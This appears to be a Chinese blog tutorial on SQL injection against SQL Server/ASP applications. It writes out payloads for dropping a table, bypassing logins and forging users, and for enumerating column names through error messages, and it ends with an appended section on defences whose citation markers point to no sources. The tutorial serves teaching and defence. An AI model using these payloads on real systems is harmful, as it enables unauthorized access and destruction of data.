简单接触SQL注入

 

简单接触SQL注入

SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
    当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。

一个典型的SQL语句如下:
Select id,forename,surname from authors
这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
Select id,forename,surname from authors where forename'john' and surname='smith'
需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,
如下:
Forename:jo'hn
Surname:smith
查询语句变为:
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
当数据库试图去执行这个查询时,它将返回如下错误:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如:
Forename:jo';drop table authors—
Surname:
结果是authors表被删除,造成这种结果的原因我们稍后再讲。
原因咱就不说了.因为地球人都知道.
接着往下来.


攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
Username:admin'—
攻击者可以使用users表中第一个用户,输入如下:
Username:' or 1=1—
更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:
Username:' union select 1,'fictional_user','some_password',1—
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

报错不一定没有用处
下次说一下如何利用报错.

通过错误消息获得信息
这个几乎是David Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。

为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:
Create talbe users(
              Id int,
              Username varchar(255),
              Password varchar(255),
              Privs int
              )
然后将下面的用户插入到users表中:
Insert into users values(0,'admin','r00tr0x!',0xffff)
Insert into users values(0,'guest','guest',0x0000)
Insert into users values(0,'chris','password',0x00ff)
Insert into users values(0,'fred','sesame',0x00ff)
如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个'1',这样只给他自己一个低权限的用户。
幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。
(下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)
首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:
Username:' having 1=1—
这样将会出现如下错误:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:
Username:' group by users.id having 1=1—
出现的错误如下:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最终攻击者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1—
这句话并不产生错误,相当于:
select * from users where username=''
因此攻击者现在知道查询涉及users表,按顺序使用列'id,username,password,privs'。
### SQL 注入工作原理详解 SQL注入是一种攻击方式,通过该方法可以操纵数据库查询语句。当应用程序未能正确过滤用户输入的数据时,恶意用户可以通过构造特殊的输入来改变原本预期的SQL命令逻辑。 #### 输入数据未被适当转义 如果开发人员在构建SQL查询时不恰当地处理来自用户的输入,则可能导致安全漏洞[^1]。例如,在登录表单中,用户名和密码通常作为参数传递给后台服务器端脚本。假设存在如下简单SQL验证语句: ```sql SELECT * FROM Users WHERE username='input_username' AND password='input_password'; ``` 如果没有对`input_username` 和 `input_password` 进行严格的校验与转义,那么攻击者可能提交类似于 `' OR '1'='1` 的字符串作为用户名或密码的一部分,从而使得整个条件始终成立,绕过身份认证机制。 #### 动态SQL的风险 表面上看,防止SQL注入似乎很容易实现;但实际上并非如此简单。动态SQL尤其危险因为它允许程序运行期间拼接最终执行的SQL文本。这种做法容易引入安全隐患除非严格控制输入并检测特殊字符的存在[^2]。比如下面这段Python伪代码展示了如何错误地创建带有变量插值的查询: ```python query = f"SELECT * FROM table WHERE column='{user_input}'" cursor.execute(query) ``` 这里没有对`user_input`做任何预处理就直接嵌入到了SQL指令里边去了,这显然是不推荐的做法。 #### 权限管理的重要性 除了确保所有外部输入都经过充分净化外,还应该遵循最小权限原则配置应用使用的数据库账户权限。这意味着只赋予必要的操作许可而移除不必要的公共访问权能,以此减少潜在风险暴露面。 #### 实际案例中的表现形式 为了更好地理解具体场景下可行的有效载荷设计思路,考虑一个基于Oracle环境的例子。由于能够接触源码并且清楚内部工作机制,作者得以精心挑选合适的语法结构发送至目标系统而不引发异常终止情况发生[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值